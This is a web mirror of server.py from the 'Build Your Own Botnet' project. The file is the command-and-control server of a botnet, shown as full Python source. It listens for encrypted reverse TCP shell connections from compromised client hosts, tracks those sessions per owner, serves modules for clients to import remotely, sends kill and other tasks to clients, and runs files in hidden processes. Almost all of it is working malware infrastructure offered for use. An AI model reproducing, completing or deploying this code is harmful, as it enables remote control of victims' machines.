Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
malwaredllc
GitHub Repository: malwaredllc/byob
Path: blob/master/web-gui/buildyourownbotnet/server.py
1292 views
1
#!/usr/bin/python
2
# -*- coding: utf-8 -*-
3
'Command & Control (Build Your Own Botnet)'
4
from __future__ import print_function
5
6
# standard library
7
import os
8
import sys
9
import time
10
import uuid
11
import json
12
import struct
13
import base64
14
import socket
15
import random
16
import pprint
17
import inspect
18
import hashlib
19
import argparse
20
import requests
21
import threading
22
import subprocess
23
import collections
24
from datetime import datetime
25
26
http_serv_mod = "SimpleHTTPServer"
27
if sys.version_info[0] > 2:
28
http_serv_mod = "http.server"
29
sys.path.append('core')
30
sys.path.append('modules')
31
32
from .models import db
33
from .core import security, util
34
from .core.dao import session_dao
35
36
# globals
37
__threads = {}
38
__abort = False
39
40
class C2(threading.Thread):
41
"""
42
Console-based command & control server with a streamlined user-interface for controlling clients
43
with reverse TCP shells which provide direct terminal access to the client host machines, as well
44
as handling session authentication & management, serving up any scripts/modules/packages requested
45
by clients to remotely import them, issuing tasks assigned by the user to any/all clients, handling
46
incoming completed tasks from clients
47
48
"""
49
50
def __init__(self, host='0.0.0.0', port=1337, debug=False):
51
"""
52
Create a new Command & Control server
53
54
`Optional`
55
:param str host: IP address (defaut: 0.0.0.0)
56
:param int port: Port number (default: 1337)
57
58
Returns a byob.server.C2 instance
59
60
"""
61
super(C2, self).__init__()
62
self.host = host
63
self.port = port
64
self.debug = debug
65
self.sessions = {}
66
self.child_procs = {}
67
self.app_client = None
68
self.socket = self._init_socket(self.port)
69
self.commands = {
70
'exit' : {
71
'method': self.quit,
72
'usage': 'exit',
73
'description': 'quit the server'},
74
'eval' : {
75
'method': self.py_eval,
76
'usage': 'eval <code>',
77
'description': 'execute python code in current context with built-in eval() method'},
78
'exec' : {
79
'method': self.py_exec,
80
'usage': 'exec <code>',
81
'description': 'execute python code in current context with built-in exec() method'}
82
}
83
self._setup_server()
84
85
def _setup_server(self):
86
# directory containing BYOB modules
87
modules = os.path.abspath('buildyourownbotnet/modules')
88
89
# directory containing user intalled Python packages
90
site_packages = [os.path.abspath(_) for _ in sys.path if os.path.isdir(_) if 'mss' in os.listdir(_)]
91
92
if len(site_packages):
93
n = 0
94
globals()['packages'] = site_packages[0]
95
for path in site_packages:
96
if n < len(os.listdir(path)):
97
n = len(os.listdir(path))
98
globals()['packages'] = path
99
else:
100
print("unable to locate directory containing user-installed packages")
101
sys.exit(0)
102
103
tmp_file=open(".log","w")
104
105
# don't run multiple instances
106
try:
107
# serve packages
108
globals()['package_handler'] = subprocess.Popen('{0} -m {1} {2}'.format(sys.executable, http_serv_mod, self.port + 2), 0, None, subprocess.PIPE, stdout=tmp_file, stderr=tmp_file, cwd=globals()['packages'], shell=True)
109
util.log("Serving Python packages from {0} on port {1}...".format(globals()['packages'], self.port + 2))
110
111
# serve modules
112
globals()['module_handler'] = subprocess.Popen('{0} -m {1} {2}'.format(sys.executable, http_serv_mod, self.port + 1), 0, None, subprocess.PIPE, stdout=tmp_file, stderr=tmp_file, cwd=modules, shell=True)
113
util.log("Serving BYOB modules from {0} on port {1}...".format(modules, self.port + 1))
114
115
globals()['c2'] = self
116
globals()['c2'].start()
117
except Exception as e:
118
print("server.C2 failed to launch package_handler and module_handler. Exception: " + str(e))
119
120
def _init_socket(self, port):
121
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
122
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
123
s.bind(('0.0.0.0', port))
124
s.listen(128)
125
return s
126
127
def _execute(self, args):
128
# ugly method that should be refactored at some point
129
if args.count('"') == 2:
130
path, args = [i.strip() for i in args.split('"') if i if not i.isspace()]
131
else:
132
path, args = [i for i in args.partition(' ') if i if not i.isspace()]
133
args = [path] + args.split()
134
if os.path.isfile(path):
135
name = os.path.splitext(os.path.basename(path))[0]
136
try:
137
info = subprocess.STARTUPINFO()
138
info.dwFlags = subprocess.STARTF_USESHOWWINDOW , subprocess.CREATE_NEW_ps_GROUP
139
info.wShowWindow = subprocess.SW_HIDE
140
self.child_procs[name] = subprocess.Popen(args, startupinfo=info)
141
return "Running '{}' in a hidden process".format(path)
142
except Exception as e:
143
try:
144
self.child_procs[name] = subprocess.Popen(args, 0, None, None, subprocess.PIPE, subprocess.PIPE)
145
return "Running '{}' in a new process".format(name)
146
except Exception as e:
147
util.log("{} error: {}".format(self._execute.__name__, str(e)))
148
else:
149
return "File '{}' not found".format(str(path))
150
151
def bind_app(self, app):
152
"""
153
Bind Flask app instance to server.
154
155
:param app_client Flask: app client instance
156
"""
157
self.app_client = app.test_client()
158
159
def py_exec(self, code):
160
"""
161
Execute code directly in the context of the currently running process
162
using Python's built-in exec() function.
163
164
Used for dynamically generated code blocks; can modify/declare variables etc.
165
166
Returns None.
167
168
`Requires`
169
:param str code: Python code to execute
170
171
"""
172
try:
173
print(code)
174
exec(code)
175
except Exception as e:
176
print(e)
177
178
def py_eval(self, code):
179
"""
180
Evaluate code directly in the context of the currently running process
181
using Python's built-in eval() function.
182
183
184
Use for evaluating dynamically generated single expressions; cannot modify/assign variables.
185
186
Returns output of the expression.
187
188
`Requires`
189
:param str code: Python code to execute
190
191
"""
192
try:
193
print(eval(code))
194
except Exception as e:
195
print(e)
196
197
def quit(self):
198
"""
199
Quit server and optionally keep clients alive
200
201
"""
202
# kill http servers hosting packages and modules
203
globals()['package_handler'].terminate()
204
globals()['module_handler'].terminate()
205
206
# put sessions in passive mode
207
for owner, sessions in self.sessions.items():
208
for session_id, session in sessions.items():
209
if isinstance(session, SessionThread):
210
try:
211
session.send_task({"task": "passive"})
212
except: pass
213
214
# kill subprocesses (subprocess.Popen or multiprocessing.Process)
215
for proc in self.child_procs.values():
216
try:
217
proc.kill()
218
except: pass
219
try:
220
proc.terminate()
221
except: pass
222
223
# forcibly end process
224
globals()['__abort'] = True
225
_ = os.popen("taskkill /pid {} /f".format(os.getpid()) if os.name == 'nt' else "kill {}".format(os.getpid())).read()
226
util.log('Exiting...')
227
sys.exit(0)
228
229
@util.threaded
230
def serve_until_stopped(self):
231
while True:
232
233
connection, address = self.socket.accept()
234
235
session = SessionThread(connection=connection, c2=self)
236
if session.info != None:
237
238
# database stores identifying information about session
239
response = self.app_client.post('/api/session/new', json=dict(session.info))
240
if response.status_code == 200:
241
session_metadata = response.json
242
session_uid = session_metadata.get('uid')
243
244
# display session information in terminal
245
session_metadata.pop('new', None)
246
session.info = session_metadata
247
248
# add session to user sessions dictionary
249
owner = session.info.get('owner')
250
if owner not in self.sessions:
251
self.sessions[owner] = {}
252
253
self.sessions[owner][session_uid] = session
254
util.log('New session {}:{} connected'.format(owner, session_uid))
255
else:
256
util.log("Failed Connection: {}".format(address[0]))
257
258
abort = globals()['__abort']
259
if abort:
260
break
261
262
@util.threaded
263
def serve_resources(self):
264
"""
265
Handles serving modules and packages in a seperate thread
266
267
"""
268
host, port = self.socket.getsockname()
269
while True:
270
time.sleep(3)
271
globals()['package_handler'].terminate()
272
globals()['package_handler'] = subprocess.Popen('{} -m {} {}'.format(sys.executable, http_serv_mod, port + 2), 0, None, subprocess.PIPE, subprocess.PIPE, subprocess.PIPE, cwd=globals()['packages'], shell=True)
273
274
def run(self):
275
"""
276
Run C2 server administration terminal
277
278
"""
279
if self.debug:
280
util.display('parent={} , child={} , args={}'.format(inspect.stack()[1][3], inspect.stack()[0][3], locals()))
281
if 'c2' not in globals()['__threads']:
282
globals()['__threads']['c2'] = self.serve_until_stopped()
283
284
# admin shell for debugging
285
if self.debug:
286
while True:
287
try:
288
raw = input('byob-admin> ')
289
290
# handle new line
291
if raw in ['\n']:
292
continue
293
294
# handle quit/exit command
295
if raw in ['exit','quit']:
296
break
297
298
# use exec/eval methods if specified, otherwise use eval
299
cmd, _, code = raw.partition(' ')
300
301
if cmd in self.commands:
302
self.commands[cmd]['method'](code)
303
else:
304
self.py_eval(cmd)
305
except KeyboardInterrupt:
306
break
307
self.quit()
308
309
310
class SessionThread(threading.Thread):
311
"""
312
A subclass of threading.Thread that is designed to handle an
313
incoming connection by creating an new authenticated session
314
for the encrypted connection of the reverse TCP shell
315
316
"""
317
318
def __init__(self, connection=None, id=0, c2=None):
319
"""
320
Create a new Session
321
322
`Requires`
323
:param connection: socket.socket object
324
325
`Optional`
326
:param int id: session ID
327
328
"""
329
super(SessionThread , self).__init__()
330
self.created = datetime.utcnow()
331
self.id = id
332
self.c2 = c2
333
self.connection = connection
334
try:
335
self.key = security.diffiehellman(self.connection)
336
self.info = self.client_info()
337
self.info['id'] = self.id
338
except Exception as e:
339
util.log("Error creating session: {}".format(str(e)))
340
self.info = None
341
342
def kill(self):
343
"""
344
Kill the reverse TCP shell session
345
346
"""
347
# get session attributes
348
owner = self.info['owner']
349
session_id = self.info['id']
350
session_uid = self.info['uid']
351
352
# get owner sessions
353
owner_sessions = self.c2.sessions.get(owner)
354
355
# find this session in owner sessions
356
if session_uid in owner_sessions:
357
session = owner_sessions[session_uid]
358
359
# set session status as offline in database
360
session_dao.update_session_status(session_uid, 0)
361
362
# send kill command to client and shutdown the connection
363
try:
364
session.send_task({"task": "kill"})
365
session.connection.shutdown(socket.SHUT_RDWR)
366
session.connection.close()
367
except: pass
368
369
_ = owner_sessions.pop(session_uid, None)
370
371
util.log('Session {}:{} disconnected'.format(owner, session_uid))
372
else:
373
util.log('Session {}:{} is already offline.'.format(owner, session_uid))
374
375
376
def client_info(self):
377
"""
378
Get information about the client host machine
379
to identify the session
380
381
"""
382
header_size = struct.calcsize("!L")
383
header = self.connection.recv(header_size)
384
msg_size = struct.unpack("!L", header)[0]
385
msg = self.connection.recv(msg_size)
386
data = security.decrypt_aes(msg, self.key)
387
info = json.loads(data)
388
for key, val in info.items():
389
if str(val).startswith("_b64"):
390
info[key] = base64.b64decode(val[6:]).decode('ascii')
391
return info
392
393
def send_task(self, task):
394
"""
395
Send task results to the server
396
397
`Requires`
398
:param dict task:
399
:attr str uid: task ID assigned by server
400
:attr str task: task assigned by server
401
:attr str result: task result completed by client
402
:attr str session: session ID assigned by server
403
:attr datetime issued: time task was issued by server
404
:attr datetime completed: time task was completed by client
405
406
Returns True if succesfully sent task to server, otherwise False
407
408
"""
409
if not isinstance(task, dict):
410
raise TypeError('task must be a dictionary object')
411
if not 'session' in task:
412
task['session'] = self.id
413
data = security.encrypt_aes(json.dumps(task), self.key)
414
msg = struct.pack('!L', len(data)) + data
415
416
self.connection.sendall(msg)
417
return True
418
419
def recv_task(self):
420
"""
421
Receive and decrypt incoming task from server
422
423
:returns dict task:
424
:attr str uid: task ID assigned by server
425
:attr str session: client ID assigned by server
426
:attr str task: task assigned by server
427
:attr str result: task result completed by client
428
:attr datetime issued: time task was issued by server
429
:attr datetime completed: time task was completed by client
430
431
"""
432
433
header_size = struct.calcsize('!L')
434
header = self.connection.recv(header_size)
435
if len(header) == 4:
436
msg_size = struct.unpack('!L', header)[0]
437
msg = self.connection.recv(8192)
438
try:
439
data = security.decrypt_aes(msg, self.key)
440
return json.loads(data)
441
except Exception as e:
442
util.log("{0} error: {1}".format(self.recv_task.__name__, str(e)))
443
return {
444
"uid": uuid.uuid4().hex,
445
"session": self.info.get('uid'),
446
"task": "",
447
"result": "Error: client returned invalid response",
448
"issued": datetime.utcnow().__str__(),
449
"completed": ""
450
}
451
else:
452
# empty header; peer down, scan or recon. Drop.
453
return 0
454
455